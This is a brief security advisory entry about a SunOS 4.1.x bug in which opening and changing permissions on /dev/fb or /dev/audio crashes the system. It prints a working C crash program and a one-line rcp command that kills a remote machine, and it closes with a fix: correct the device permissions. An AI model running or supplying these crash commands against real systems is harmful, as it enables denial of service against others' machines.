COMMAND
/dev/fb & dev/audio
SYSTEMS AFFECTED
SunOS 4.1.x
PROBLEM
Roger Espel Llima found the following three-liner to crash SunOS
4.1.x. It works on /dev/fb and /dev/audio on some machines; you
need permission to open the device.
main(int argc, char *argv[]) {
int fd;
fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
if (fd < 0) perror("creat"), exit(1);
fchmod(fd, 0755); /* BOOM */
}
Shorter method:
rcp some_file xyz:/dev/audio
This kills machine xyz.
SOLUTION
Set permissions to be correct.